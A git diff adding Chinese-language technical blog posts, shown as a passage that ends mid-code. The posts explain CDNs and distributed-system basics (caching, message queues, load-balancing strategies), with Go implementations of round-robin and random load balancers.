create、delete、update、query 等等;每种操作类型绑定多个处理函数,比如 query 绑定了 Query()、Preload()、AfterQuery() 方法,其中 Query() 是核心方法,Preload() 实现预加载,AfterQuery() 类似一种 Hook 机制。 + +```go +// Callback returns callback manager +func (db *DB) Callback() *callbacks { + return db.callbacks +} + +func (cs *callbacks) Query() *processor { + return cs.processors["query"] +} + +func (p *processor) Register(name string, fn func(*DB)) error { + return (&callback{processor: p}).Register(name, fn) +} +``` diff --git a/_posts/2022-10-12-test-markdown.md b/_posts/2022-10-12-test-markdown.md new file mode 100644 index 000000000000..5ba5284dfdbe --- /dev/null +++ b/_posts/2022-10-12-test-markdown.md @@ -0,0 +1,75 @@ +--- +layout: post +title: 什么是 CDN? +subtitle: 地理分布的服务器组 +tags: [ CDN] +--- + +## 什么是 CDN?(核心:将带宽从源服务器卸载到 CDN 服务器) + + 内容交付网络是一个地理分布的服务器组,经过优化以向最终用户交付静态内容。这种静态内容几乎可以是任何类型的数据,但 CDN 最常用于交付网页及其相关文件、流式视频和音频以及大型软件包。 + +没有 CDN +![avatar](https://assets.digitalocean.com/articles/CDN/without-CDN.png) +有 CDN +![avatar](https://assets.digitalocean.com/articles/CDN/CDN.png) + +#### CDN 是由多个 POP 组成,每个 POP 是由多个边缘服务器组成,CDN 负责把请求路由到最近的边缘服务器 + +CDN 由位于不同位置的多个接入点(PoP) 组成,每个接入点由多个边缘服务器组成,这些边缘服务器缓存来自您的源或主机服务器的资产。当用户访问您的网站并请求图像或 JavaScript 文件等静态资产时,他们的请求将由 CDN 路由到最近的边缘服务器,从中提供内容。如果边缘服务器没有缓存资产或缓存的资产已过期,CDN 将从附近的另一台 CDN 边缘服务器或您的源服务器获取并缓存最新版本。如果 CDN 边缘确实有您的资产的缓存条目(如果您的网站接收到适量的流量,大多数情况下都会发生这种情况),它会将缓存的副本返回给最终用户。 + +## CDN 是如何工作的? + +当用户访问网站时,他们首先会收到来自 DNS 服务器的响应,其中包含您的主机 Web 服务器的 IP 地址。然后他们的浏览器请求网页内容,这些内容通常由各种静态文件组成,例如 HTML 页面、CSS 样式表、JavaScript 代码和图像。 +一旦推出 CDN 并将这些静态资产卸载到 CDN 服务器上,通过手动“推出”它们或让 CDN 自动“拉”资产(这两种机制都将在下一节中介绍),然后您可以指示您的 Web 服务器重写指向静态内容的链接,使这些链接现在指向由 CDN 托管的文件。如果您使用的是 WordPress 等 CMS,则可以使用 CDN Enabler 等第三方插件来实现此链接重写。 + +缓存机制因 CDN 提供商而异,但通常它们的工作方式如下: + +当 CDN 收到对静态资产(例如 PNG 图像)的第一个请求时,它没有缓存资产,并且必须从附近的 CDN 边缘服务器或源服务器本身获取资产的副本。这称为缓存“未命中”.通常可以通过检查包含 X-Cache: MISS. 此初始请求将比未来请求慢,因为在完成此请求后,资产将被缓存在边缘。 + +路由到此边缘位置的此资产的未来请求(缓存“命中”)现在将从缓存中提供服务,直到到期(通常通过 HTTP 标头设置)。这些响应将比初始请求快得多,从而显着减少用户的延迟并将 Web 流量卸载到 CDN 网络上。您可以通过检查 HTTP 响应标头来验证响应是否来自 CDN 缓存,该标头现在应该包含 X-Cache: HIT. + +## 推与拉 Zone + +#### 1.向 CDN 提供源服务器地址后重写指向静态资产的链接 + +大多数 CDN 提供商提供两种缓存数据的方式:拉区和推送区。 +拉区涉及输入您的源服务器地址,并让 CDN 自动获取和缓存您站点上所有可用的静态资源。拉取区域通常用于交付经常更新的中小型 Web 资产,例如 HTML、CSS 和 JavaScript 文件。在向 CDN 提供您的源服务器地址后,下一步通常是重写指向静态资产的链接,以便它们现在指向 CDN 提供的 URL。从那时起,CDN 将处理您用户的传入资产请求,并根据需要从其地理分布的缓存和您的来源中提供内容。 + +#### 2.数据上传到指定的存储桶或存储位置后 CDN 推送到分布式边缘服务器 + +要使用 Push Zone,您需要将数据上传到指定的存储桶或存储位置,然后 CDN 会将其推送到其分布式边缘服务器队列上的缓存中。推送区域通常用于较大且不经常更改的文件,例如档案、软件包、PDF、视频和音频文件。 + +## CDN 的好处 + +#### 1.卸载静态资产将大大减少服务器的带宽使用量 + +如果服务器的带宽容量已接近极限,卸载图像、视频、CSS 和 JavaScript 文件等静态资产将大大减少服务器的带宽使用量。内容交付网络是为提供静态内容而设计和优化的,客户端对该内容的请求将被路由到边缘 CDN 服务器并由其提供服务。这具有减少原始服务器负载的额外好处,因为它们随后以低得多的频率提供这些数据。 + +#### 2.快速向用户交付内容 + +如果用户群在地理上分散,并且流量的重要部分来自遥远的地理区域,则 CDN 可以通过在更靠近用户的边缘服务器上缓存静态资产来减少延迟。通过缩短用户与静态内容之间的距离,可以更快地向用户交付内容,并通过提高页面加载速度来改善他们的体验。 + +对于主要服务于带宽密集型视频内容的网站而言,这些优势更加复杂,高延迟和慢加载时间更直接地影响用户体验和内容参与度。 + +#### 3.管理流量高峰并避免停机 + +CDN 允许通过跨大型分布式边缘服务器网络的负载平衡请求来处理大量流量峰值和突发。通过在交付网络上卸载和缓存静态内容,可以使用现有基础架构同时容纳更多用户。 + +对于使用单个源服务器的网站,这些巨大的流量峰值通常会使系统不堪重负,从而导致计划外的中断和停机。将流量转移到高可用性和冗余的 CDN 基础架构上,旨在处理不同级别的 Web 流量,可以提高资产和内容的可用性。 + +#### 4.减少源服务器上的负载来降低服务器成本 + +由于提供静态内容通常占您带宽使用量的大部分,因此将这些资产卸载到内容交付网络可以大大减少您每月的基础设施支出。除了降低带宽成本外,CDN 还可以通过减少源服务器上的负载来降低服务器成本,从而使您现有的基础架构能够扩展。最后,一些 CDN 提供商提供固定价格的按月计费,允许您将可变的每月带宽使用量转变为稳定、可预测的经常性支出。 + +#### 5.提高安全性 + +CDN 的另一个常见用例是 DDoS 攻击缓解。许多 CDN 提供商包括监控和过滤对边缘服务器的请求的功能。这些服务分析网络流量中的可疑模式,阻止恶意攻击流量,同时继续允许信誉良好的用户流量通过。CDN 提供商通常提供各种 DDoS 缓解服务,从基础设施级别(OSI 第 3 层和第 4 层)的常见攻击保护到更高级的缓解服务和速率限制。 + +此外,大多数 CDN 允许您配置完整的 SSL,以便您可以使用 CDN 提供的或自定义 SSL 证书加密 CDN 和最终用户之间的流量,以及 CDN 和源服务器之间的流量。 + +#### 6.总结 + +CDN 允许通过(吸收用户请求)并从(边缘缓存响应)来显着降低带宽使用量,从而降低带宽和基础设施成本。 + +借助对 WordPress、Drupal、Django 和 Ruby on Rails 等主要框架的插件和第三方支持,以及 DDoS 缓解、完整 SSL、用户监控和资产压缩等附加功能,CDN 可以成为保护和优化高流量网站。 diff --git a/_posts/2022-10-13-test-markdown.md b/_posts/2022-10-13-test-markdown.md new file mode 100644 index 000000000000..7b38a550f2e0 --- /dev/null +++ b/_posts/2022-10-13-test-markdown.md @@ -0,0 +1,1134 @@ +--- +layout: post +title: 什么是 分布式? +subtitle: 垂直伸缩和水平伸缩 +tags: [分布式] +--- + +## 1.分布式 + +### 访问系统的用户过多带来的服务器崩溃 + +> 当访问系统的用户越来越多,可是我们的系统资源有限,所以需要更多的 CPU 和内存去处理用户的计算请求,当然也就要求更大的网络带宽去处理数据的传输,也需要更多的磁盘空间存储数据。资源不够,消耗过度,服务器崩溃,系统也就不干活了,那么在这样的情况怎么处理? + +### 垂直伸缩(雅迪变特斯拉) + +> 提升单台服务器的计算处理能力来抵抗更大的请求访问量。比如使用更快频率的 CPU,更快的网卡,塞更多的磁盘等。其实这样的处理方式在电信,银行等企业比较常见,让摩托车变为小汽车,更强大的计算机。花钱买设备就完事了? + + 单台服务器的计算处理能力是有限的,而且也会严重受到计算机硬件水平的制约 + +#### 水平伸缩(多个雅典抵的上特斯拉) + +> 通过多台服务器构成(分布式集群)从而提升系统的整体处理能力。这里说到了分布式,那我们看看分布式的成长过程 +> 系统的技术架构是需求所驱动 +> 最初的单体系统: + +- 只需要部分用户访问(随着使用系统的用户越来越多,这时候关注的人越来越多,单台服务器扛不住了,关注的人觉得响应真慢) +- 然后分离数据库和应用程序,部署在不同的服务器中,从 1 台服务器变为多台服务器,处理响应更快,内容也够干,(访问的用户呈指数增长,这多台服务器都有点扛不住了,怎么办?) +- 然后加缓存,我们不每次从数据库中读取数据,而将应用程序需要的数据暂存在缓冲中。缓存呢,又分为本地缓存和分布式的缓存。分布式缓存,顾名思义,使用多台服务器构成集群,存储更多的数据并提供缓存服务,从而提升缓存的能力。(很多台的服务器单单存储很多的数据到内存中) +- 系统越来越火,于是考虑将应用服务器也作为集群。 + +## 2.缓存(提升系统的读操作性能) + +当用户访问网站时,他们首先会收到来自 DNS 服务器的响应,其中包含您的主机 Web 服务器的 IP 地址。然后他们的浏览器请求网页内容,这些内容通常由各种静态文件组成,例如 HTML 页面、CSS 样式表、JavaScript 代码和图像。 +一旦推出 CDN 并将这些静态资产卸载到 CDN 服务器上,通过手动“推出”它们或让 CDN 自动“拉”资产(这两种机制都将在下一节中介绍),然后您可以指示您的 Web 服务器重写指向静态内容的链接,使这些链接现在指向由 CDN 托管的文件。如果您使用的是 WordPress 等 CMS,则可以使用 CDN Enabler 等第三方插件来实现此链接重写。 + +缓存机制因 CDN 提供商而异,但通常它们的工作方式如下: + +当 CDN 收到对静态资产(例如 PNG 图像)的第一个请求时,它没有缓存资产,并且必须从附近的 CDN 边缘服务器或源服务器本身获取资产的副本。这称为缓存“未命中”.通常可以通过检查包含 X-Cache: MISS. 此初始请求将比未来请求慢,因为在完成此请求后,资产将被缓存在边缘。 + +路由到此边缘位置的此资产的未来请求(缓存“命中”)现在将从缓存中提供服务,直到到期(通常通过 HTTP 标头设置)。这些响应将比初始请求快得多,从而显着减少用户的延迟并将 Web 流量卸载到 CDN 网络上。您可以通过检查 HTTP 响应标头来验证响应是否来自 CDN 缓存,该标头现在应该包含 X-Cache: HIT. + +### 1.通读缓存 + +- 应用程序和通读缓存沟通,如果通读缓存中没有需要的数据,是由通读缓存去数据源中获取数据。 + + > 数据存在于通读缓存中就直接返回。如果不存在于通读缓存,那么就访问数据源,同时将数据存放于缓存中。下次访问就直接从缓存直接获取。比较常见的为 CDN 和反向代理 + > CDN 称为内容分发网络。想象我们京东购物的时候,假设我们在成都,如果买的东西在成都仓库有就直接给我们寄送过来,可能半天就到了,用户体验也非常好,就不用从北京再寄过来。同样的道理,用户就可以近距离获得自己需要的数据,既提高了响应速度,又节约了网络带宽和服务器资源 + > 通过 CDN 等通读缓存可以降低服务器的负载能力 + +### 2.旁路缓存 + +- 应用程序从旁路缓存中读,如果不存在自己需要的数据,那么应用程序就去数据源负责把没有的数据拿到然后存储在旁路缓存中。 + + > 旁路缓存 + +- 缓存缺点 + - (过期失效)缓存知道自己返回的数据是正确的吗?(我缓存中的数据是从数据源中拿出的,但是缓存在返回数据的时候,数据源里面的数据是否被修改?数据源里面的数据被修改,那么我们相当于是返回了脏数据) +- 解决办法: + - (失效通知)每次写入往缓存中间写入数据的时候,(记录写入数据的时间)(再设置一个固定的时间),每次读取数据的时候根据记录的这个数据的写入时间,判断数据是否过期,如果时间过期,缓存就重新从数据源里面读取数据。 + - 当数据源的数据被修改的时候就一定要通知缓存清空 +- 缓存的意义? + - 存储热点数据,并且存储的数据被多次命中。 + +## 3.异步架构(提升系统的写操作性能) + +> 缓存通常很难保证数据的持久性和一致性.我们通常不会将数据直接写入缓存中,而是写入 RDBMAS 等数据中,那如何提升系统的写操作性能呢? +> 也就是说,数据库是专门用来做存储的。 +> 此时假设两个系统分别为 A,B,其中 A 系统依赖 B 系统,两者通信采用远程调用的方式,此时如果 B 系统出故障,很可能引起 A 系统出故障.(缓存不能保证数据的持久且唯一) + +### 1.消息队列 + +#### 同步 + +> 同步通常是当应用程序调用服务的时候,不得不阻塞等待服务期完成,此时 CPU 空闲比较浪费,直到返回服务结果后才会继续执行。 + +- 特点:(阻塞并等待结果)(执行应用程序的线程阻塞 ) +- 问题:不能释放占用的系统资源,导致系统资源不足,影响系统性能 +- 问题:无法快速给用户响应结果 + +> 那么什么情况下可以不用阻塞,释放占用的系统资源? + +#### 异步 + +- **调用者将消息发送给消息队列直接返回** ,线程不需要得到发送结果,它只需要执行完就好。例如(用户注册)(在用户注册完毕,不论我们的服务器是否真的已经账号激活的邮件给用户,页面都会提示用户:“您的邮件已经发送成功!请注意查收”)往往只让用户等待接收邮件就好,而不是我们实际的代码等待我们的服务器真正发送给用户邮件的时候才给用户显示:“邮件已经发送成功” + +- **有专门的“消费消息的程序”从消息队列中取出数据并进行消费。** 远程服务出现故障,只会影响到" 消费消息的程序" + +##### 异步消费的方式 + +- 点对点 + > 对多生产者多消费者的情况:一个消息被一个消费者消费 +- 订阅消费 + > 给消息队列设置主题。每个消费者只从对应的主题中消费,每个消费者按照自己的逻辑进行计算。在用户注册的时候,我们将注册信息放入“用户“主题中,消费者如果订阅了“用户“主题,就可以消费该信息进行自己的业务处理。举个例子:可能有"拿用户信息去构造短信消息的"消费者,也有“拿着用户信息去推广产品的“消费者,都可以根据自己业务逻辑进行数据处理。 + +##### 异步消费的优点 + +- 快速响应 + > 不在需要等待。生产者将数据发送消息队列后,可继续往下执行,不虚等待耗时的消费处理 +- 削峰填谷 + > 互联网产品会在不同的场景其并发请求量不同。互联网应用的访问压力随时都在变化,系统的访问高峰和低谷的并发压力可能也有非常大的差距。如果按照压力最大的情况部署服务器集群,那么服务器在绝大部分时间内都处于闲置状态。但利用消息队列,我们可以将需要处理的消息放入消息队列,而消费者可以控制消费速度,因此能够降低系统访问高峰时压力,而在访问低谷的时候还可以继续消费消息队列中未处理的消息,保持系统的资源利用率 +- 降低耦合 + +> 如果调用是同步,如果调用是同步的,那么意味着调用者和被调用者必然存在依赖,一方面是代码上的依赖,应用程序需要依赖发送邮件相关的代码,如果需要修改发送邮件的代码,就必须修改应用程序,而且如果要增加新的功能 + +那么目前主要的消息队列有哪些,其有缺点是什么? + +- 解耦!! + > 某个 A 系统与要提供数据系统产生耦合 +- 异步!! + > 用户一个点击,需要几个系统间的一系列反应,同时每一个系统肯都存在一定的耗时,那么可以使用 mq 对不同的系统进行发送命令,进行异步操作 +- 削峰!! + > (mysql 每秒 2000 个请求),超过就会卡死,峰取时在 MQ 中进行大量请求积压,处理器按照自己的最大处理能力取请求量,等请求期过后再把它消耗掉。 + +## 4. 负载均衡 + +![点击查看大图]("https://raw.githubusercontent.com/gongna-au/MarkDownImage/main/posts/2022-10-13-test-markdown/0.png") + +> 一台机器扛不住了,需要多台机器帮忙,既然使用多台机器,就希望不要把压力都给一台机器,所以需要一种或者多种策略分散高并发的计算压力,从而引入负载均衡,那么到底是如何分发到不同的服务器的呢? + +### 负载均衡策略(基于负载均衡服务器-一个由很多普通的服务器组成的一个系统) + +> 在需要处理大量用户请求的时候,通常都会引入负载均衡器,将多台普通服务器组成一个系统,来完成高并发的请求处理任务。 + +#### HTTP 重定向负载均衡 + +也属于比较直接,当 HTTP 请求到达负载均衡服务器后,使用一套负载均衡算法计算到后端服务器的地址,然后将新的地址给用户浏览器 + +先计算到应用服务器的 IP 地址,所以 IP 地址可能暴露在公网,既然暴露在了公网还有什么安全可言 + +#### DNS 负载均衡 + +用户通过浏览器发起 HTTP 请求的时候,DNS 通过对域名进行即系得到 IP 地址,用户委托协议栈的 IP 地址简历 HTTP 连接访问真正的服务器。这样(不同的用户进行域名解析将会获取不同的 IP 地址)从而实现负载均衡 + +- 通过 DNS 解析获取负载均衡集群某台服务器的地址 +- 负载均衡服务器再一次获取某台应用服务器,这样子就不会将应用服务器的 IP 地址暴露在官网了 + +#### 反向代理负载均衡 + +反向代理服务器,服务器先看本地是缓存过,有直接返回,没有则发送给后台的应用服务器处理。 + +#### IP 负载均衡 + +IP 很明显是从网络层进行负载均衡。TCP./IP 协议栈是需要上下层结合的方式达到目标,当请求到达网络层的时候。负载均衡服务器对数据包中的 IP 地址进行转换,从而发送给应用服务器 +这个方案属于内核级别,如果数据比较小还好,但是大部分情况是图片等资源文件,这样负载均衡服务器会出现响应或者请求过大所带来的瓶颈 + +#### 数据链路负载均衡 + +它可以解决因为数据量他打而导致负载均衡服务器带宽不足这个问题。怎么实现的呢。它不修改数据包的 IP 地址,而是更改 mac 地址。(应用服务器和负载均衡服务器使用相同的虚拟 IP) + +### 负载均衡算法 + +> 轮询,加权轮循, 随机,最少连接, 源地址散列 + +> 前置的介绍 + +```go +// Peer 是一个后端节点 +type Peer interface { + String() string +} + +// 选取(Next(factor))一个 Peer 时由调度者所提供的参考对象,Balancer 可能会将其作为选择算法工作的因素之一。 +type Factor interface { + Factor() string +} + +// Factor的具体实现实现 +type FactorString string + +func (s FactorString) Factor() string { + return string(s) +} + +// 负载均衡器 Balancer 持有一组 Peers 然后实现Next函数,得到一个后端节点和Constrainable(目前先当作没有看到它叭~) 当身为调度者时,想要调用 Next,却没有什么合适的“因素”提供的话,就提供 DummyFactor 好了。 +type BalancerLite interface { + Next(factor Factor) (next Peer, c Constrainable) +} +// Balancer 在选取(Next(factor))一个 Peer 时由调度者所提供的参考对象,Balancer 可能会将其作为选择算法工作的因素之一。 +type Balancer interface { + BalancerLite + //...more +} + +``` + +1. 轮询 + + 轮询很容易实现,将请求按顺序轮流分配到后台服务器上,均衡的对待每一台服务器,而不关心服务器实际的连接数和当前的系统负载。 + 适合场景:适合于应用服务器硬件都相同的情况 + ![点击查看大图]("https://raw.githubusercontent.com/gongna-au/MarkDownImage/main/posts/2022-10-13-test-markdown/1.png") + 为了保证轮询,必须记录上次访问的位置,为了让在并发情况下不出现问题,还必须在使用位置记录时进行加锁,很明显这种互斥锁增加了性能开销。 + +```go +package RoundRobin + +import ( + "fmt" + Balancer "github.com/VariousImplementations/LoadBalancingAlgorithm" + "strconv" + "sync" + "sync/atomic" + "time" +) + +type RoundRobin struct { + peers []Balancer.Peer + count int64 + rw sync.RWMutex +} + +// New 使用 Round-Robin 创建一个新的负载均衡器实例 +func New(opts ...Balancer.Opt) Balancer.Balancer { + return &RoundRobin{} +} + +// RoundRobin 需要实现 Balancer接口下面的方法Balancer.Next() Balancer.Count() Balancer.Add() Balancer.Remove() Balancer.Clear() +func (s *RoundRobin) Next(factor Balancer.Factor) (next Balancer.Peer, c Balancer.Constrainable) { + next = s.miniNext() + if fc, ok := factor.(Balancer.FactorComparable); ok { + next, c, _ = fc.ConstrainedBy(next) + } else if nested, ok := next.(Balancer.BalancerLite); ok { + next, c = nested.Next(factor) + } + + return +} + +// s.count 会一直增量上去,并不会取模 +// s.count 增量加1就是轮询的核心 +// 这样做的用意在于如果 peers 数组发生了少量的增减变化时,最终发生选择时可能会更模棱两可。 +// 但是!!!注意对于 Golang 来说,s.count 来到 int64.MaxValue 时继续加一会自动回绕到 0。 +// 这一特性和多数主流编译型语言相同,都是 CPU 所提供的基本特性 +// 核心的算法 s.count 对后端节点的列表长度取余 +func (s *RoundRobin) miniNext() (next Balancer.Peer) { + ni := atomic.AddInt64(&s.count, 1) + ni-- + // 加入读锁 + s.rw.RLock() + defer s.rw.RUnlock() + if len(s.peers) > 0 { + ni %= int64(len(s.peers)) + next = s.peers[ni] + } + fmt.Printf("s.peers[%d] is be returned\n", ni) + return +} +func (s *RoundRobin) Count() int { + s.rw.RLock() + defer s.rw.RUnlock() + return len(s.peers) +} + +func (s *RoundRobin) Add(peers ...Balancer.Peer) { + for _, p := range peers { + s.AddOne(p) + } +} + +func (s *RoundRobin) AddOne(peer Balancer.Peer) { + if s.find(peer) { + return + } + s.rw.Lock() + defer s.rw.Unlock() + s.peers = append(s.peers, peer) +} + +func (s *RoundRobin) find(peer Balancer.Peer) (found bool) { + s.rw.RLock() + defer s.rw.RUnlock() + for _, p := range s.peers { + if Balancer.DeepEqual(p, peer) { + return true + } + } + return +} + +func (s *RoundRobin) Remove(peer Balancer.Peer) { + // 加写锁 + s.rw.Lock() + defer s.rw.Unlock() + for i, p := range s.peers { + if Balancer.DeepEqual(p, peer) { + s.peers = append(s.peers[0:i], s.peers[i+1:]...) + return + } + } +} + +func (s *RoundRobin) Clear() { + // 加写锁 + s.rw.Lock() + defer s.rw.Unlock() + s.peers = nil +} + +func Client() { + // wg让主进程进行等待我所有的goroutinue 完成 + wg := sync.WaitGroup{} + // 假设我们有20个不同的客户端(goroutinue)去调用我们的服务 + wg.Add(20) + lb := &RoundRobin{ + peers: []Balancer.Peer{ + Balancer.ExP("172.16.0.10:3500"), Balancer.ExP("172.16.0.11:3500"), Balancer.ExP("172.16.0.12:3500"), + }, + count: 0, + } + for i := 0; i < 10; i++ { + go func(t int) { + lb.Next(Balancer.DummyFactor) + wg.Done() + time.Sleep(2 * time.Second) + // 这句代码第一次运行后,读解锁。 + // 循环到第二个时,读锁定后,这个goroutine就没有阻塞,同时读成功。 + }(i) + + go func(t int) { + str := "172.16.0." + strconv.Itoa(t) + ":3500" + lb.Add(Balancer.ExP(str)) + fmt.Println(str + " is be added. ") + wg.Done() + // 这句代码让写锁的效果显示出来,写锁定下是需要解锁后才能写的。 + time.Sleep(2 * time.Second) + }(i) + } + + time.Sleep(5 * time.Second) + wg.Wait() +} + +``` + +```go +package RoundRobin + +import "testing" + +func TestFormal(t *testing.T) { + Client() +} + +``` + +2. 加权轮循 + 在轮询的基础上根据硬件配置不同,按权重分发到不同的服务器。 + 适合场景:跟配置高、负载低的机器分配更高的权重,使其能处理更多的请求,而性能低、负载高的机器,配置较低的权重,让其处理较少的请求。 + ![点击查看大图]("https://raw.githubusercontent.com/gongna-au/MarkDownImage/main/posts/2022-10-13-test-markdown/2.png") + +3. 随机 + 系统随机函数,根据后台服务器列表的大小值来随机选取其中一台进行访问。 + 随着调用量的增大,客户端的请求可以被均匀地分派到所有的后端服务器上,其实际效果越来越接近于平均分配流量到后台的每一台服务器,也就是轮询法的效果。 + +```go +// 简单版实现 +import ( + "errors" + "fmt" + "math/rand" + "strconv" +) + +// 随机访问中需要什么来保证随机? +type serverList struct { + ipList []string +} + +func NewserverList(str ...string) *serverList { + return &serverList{ + ipList: append([]string{}, str...), + } +} + +func (s *serverList) AddIP(str ...string) { + s.ipList = append(s.ipList, str...) +} + +func (s *serverList) GetIPLIst() []string { + return s.ipList +} + +func (s *serverList) GetIP(i int) string { + return s.ipList[i] +} + + +func Random(str ...string) (string, error) { + serverList := NewserverList(str...) + r := rand.Int() + l := len(serverList.GetIPLIst()) + fmt.Printf("len %d", l) + end := strconv.Itoa(r % l) + fmt.Printf("end %s\n", end) + for _, v := range serverList.GetIPLIst() { + test := v[len(v)-1:] + fmt.Println(test) + if test == end { + return v, nil + } + + } + /* + return serverList.GetIP(end) + */ + return "", errors.New("get ip error") +} +``` + +```go +// 测试函数 +import ( + "fmt" + "testing" +) + +func TestRadom(t *testing.T) { + re, err := Random( + "192.168.1.0", + "192.168.1.1", + "192.168.1.2", + "192.168.1.3", + "192.168.1.4", + "192.168.1.5", + "192.168.1.6", + "192.168.1.7", + "192.168.1.8", + "192.168.1.9", + ) + if err != nil { + t.Error(err) + } + fmt.Println(re) +} + +``` + +```go +// 另外一种实现 +import ( + "fmt" + "github.com/Design-Pattern-Go-Implementation/go-design-pattern/Balancer" + mrand "math/rand" + "sync" + "sync/atomic" + "time" +) + +type randomS struct { + peers []Balancer.Peer + count int64 +} + +// 实现通用的BalancerLite 接口 +func (s *randomS) Next(factor Balancer.Factor) (next Balancer.Peer, c Balancer.Constrainable) { + // 传入的factor实参我们并没有使用 + // 只是随机的产生一个数字 + l := int64(len(s.peers)) + // 取余数得到下标 + // 为什么要给count +随机范围中间的数字? + ni := atomic.AddInt64(&s.count, inRange(0, l)) % l + next = s.peers[ni] + return +} + +var seededRand = mrand.New(mrand.NewSource(time.Now().UnixNano())) +var seedmu sync.Mutex + +func inRange(min, max int64) int64 { + seedmu.Lock() + defer seedmu.Unlock() + //在某个范围内部生成随机数字,rand.Int(最大值- 最小值)+min + return seededRand.Int63n(max-min) + min +} + +// 实现Peer 接口 +type exP string + +func (s exP) String() string { + return string(s) +} + +func Random() { + + lb := &randomS{ + peers: []Balancer.Peer{ + exP("172.16.0.7:3500"), exP("172.16.0.8:3500"), exP("172.16.0.9:3500"), + }, + count: 0, + } + // map 用来记录我们实际的后端接口到底被调用了多少次 + sum := make(map[Balancer.Peer]int) + for i := 0; i < 300; i++ { + // 这里直接使用默认的实现类的实例 + // DummyFactor 是默认实例 + p, _ := lb.Next(Balancer.DummyFactor) + sum[p]++ + } + + for k, v := range sum { + fmt.Printf("%v: %v\n", k, v) + } + +} +``` + +```go +// 测试函数 +import "testing" + +func TestRandom(t *testing.T) { + Random() +} + +``` + +```go +// 线程安全实现 +//正式的 random LB 的代码要比上面的核心部分还复杂一点点。原因在于我们还需要达成另外两个设计目标: +import ( + "fmt" + mrand "math/rand" + "strconv" + "sync" + "sync/atomic" + "time" + + "github.com/Design-Pattern-Go-Implementation/go-design-pattern/Balancer" +) + +var seedRand = mrand.New(mrand.NewSource(time.Now().Unix())) +var seedMutex sync.Mutex + +func InRange(min, max int64) int64 { + seedMutex.Lock() + defer seedMutex.Unlock() + return seedRand.Int63n(max-min) + min +} + +// New 使用 Round-Robin 创建一个新的负载均衡器实例 +func New(opts ...Balancer.Opt) Balancer.Balancer { + return (&randomS{}).Init(opts...) +} + +type randomS struct { + peers []Balancer.Peer + count int64 + rw sync.RWMutex +} + +func (s *randomS) Init(opts ...Balancer.Opt) *randomS { + for _, opt := range opts { + opt(s) + } + return s +} + +// 实现了Balancer.NexT()方法 +func (s *randomS) Next(factor Balancer.Factor) (next Balancer.Peer, c Balancer.Constrainable) { + next = s.miniNext() + + if fc, ok := factor.(Balancer.FactorComparable); ok { + next, c, ok = fc.ConstrainedBy(next) + } else if nested, ok := next.(Balancer.BalancerLite); ok { + next, c = nested.Next(factor) + } + + return +} + +// 实现了Balancer.Count()方法 +func (s *randomS) Count() int { + s.rw.RLock() + defer s.rw.RUnlock() + return len(s.peers) +} + +// 实现了Balancer.Add()方法 +func (s *randomS) Add(peers ...Balancer.Peer) { + for _, p := range peers { + // 判断要添加的元素是否存在,并且在添加元素的时候为s.peers 加锁 + s.AddOne(p) + } +} + +// 实现了Balancer.Remove()方法 +// 如果 s.peers 中间有和传入的peer相等的函数就那么就删除这个元素 +// 在删除这个元素的时候, +func (s *randomS) Remove(peer Balancer.Peer) { + // 加写锁 + s.rw.Lock() + defer s.rw.Unlock() + for i, p := range s.peers { + if Balancer.DeepEqual(p, peer) { + s.peers = append(s.peers[0:i], s.peers[i+1:]...) + return + } + } +} + +// 实现了Balancer.Clear()方法 +func (s *randomS) Clear() { + // 加写锁 + // 对于Set() ,Delete(),Update()这类操作就一般都是加写锁 + // 对于Get() 这类操作我们往往是加读锁,阻塞对同一变量的更改操作,但是读操作将不会受到影响 + s.rw.Lock() + defer s.rw.Unlock() + s.peers = nil +} + +// 我们希望s在返回后端peers 节点的时候,在同一个时刻只能被一个线程拿到。 +// 所以需要对 s.peers进行加锁 +func (s *randomS) miniNext() (next Balancer.Peer) { + // 读锁定 写将被阻塞,读不会被锁定 + s.rw.RLock() + defer s.rw.RUnlock() + l := int64(len(s.peers)) + ni := atomic.AddInt64(&s.count, InRange(0, l)) % l + next = s.peers[ni] + fmt.Printf("s.peers[%d] is be returned\n", ni) + return +} + +func (s *randomS) AddOne(peer Balancer.Peer) { + if s.find(peer) { + return + } + // 加了写锁 + // 在更改s.peers的时候,其他的线程将不可以调用s.miniNext()读出和获得peer,其他的线程也不可以调用s.AddOne()对s.peers 进行添加操作 + s.rw.Lock() + defer s.rw.Unlock() + s.peers = append(s.peers, peer) + fmt.Printf(peer.String() + "is be appended!\n") +} + +func (s *randomS) find(peer Balancer.Peer) (found bool) { + // 加读锁 + s.rw.RLock() + defer s.rw.RUnlock() + for _, p := range s.peers { + if Balancer.DeepEqual(p, peer) { + return true + } + } + fmt.Printf("peer in s.peers is be found!\n") + return +} + +func Client() { + // wg让主进程进行等待我所有的goroutinue 完成 + wg := sync.WaitGroup{} + // 假设我们有20个不同的客户端(goroutinue)去调用我们的服务 + wg.Add(20) + lb := &randomS{ + peers: []Balancer.Peer{ + Balancer.ExP("172.16.0.10:3500"), Balancer.ExP("172.16.0.11:3500"), Balancer.ExP("172.16.0.12:3500"), + }, + count: 0, + } + for i := 0; i < 10; i++ { + go func(t int) { + lb.Next(Balancer.DummyFactor) + wg.Done() + time.Sleep(2 * time.Second) + // 这句代码第一次运行后,读解锁。 + // 循环到第二个时,读锁定后,这个goroutine就没有阻塞,同时读成功。 + }(i) + + go func(t int) { + str := "172.16.0." + strconv.Itoa(t) + ":3500" + lb.Add(Balancer.ExP(str)) + wg.Done() + // 这句代码让写锁的效果显示出来,写锁定下是需要解锁后才能写的。 + time.Sleep(2 * time.Second) + }(i) + } + + time.Sleep(5 * time.Second) + wg.Wait() +} +``` + +```go +// 测试函数 +import "testing" + +func TestFormal(t *testing.T) { + Client() +} + +``` + +4. 最少连接 + 最全负载均衡:算法、实现、亿级负载解决方案详解-mikechen 的互联网架构 + 记录每个服务器正在处理的请求数,把新的请求分发到最少连接的服务器上,因为要维护内部状态不推荐。 + ![点击查看大图]("https://raw.githubusercontent.com/gongna-au/MarkDownImage/main/posts/2022-10-13-test-markdown/3.png") + +```go + +``` + +5. "源地址"散列(为什么需要源地址?保证同一个客户端得到的后端列表) + 根据服务消费者请求客户端的 IP 地址,通过哈希函数计算得到一个哈希值,将此哈希值和服务器列表的大小进行取模运算,得到的结果便是要访问的服务器地址的序号。 + 适合场景:根据请求的来源 IP 进行 hash 计算,同一 IP 地址的客户端,当后端服务器列表不变时,它每次都会映射到同一台后端服务器进行访问。 + ![点击查看大图]("https://raw.githubusercontent.com/gongna-au/MarkDownImage/main/posts/2022-10-13-test-markdown/4.png") + +```go + +// HashKetama 是一个带有 ketama 组合哈希算法的 impl +type HashKetama struct { + // default is crc32.ChecksumIEEE + hasher 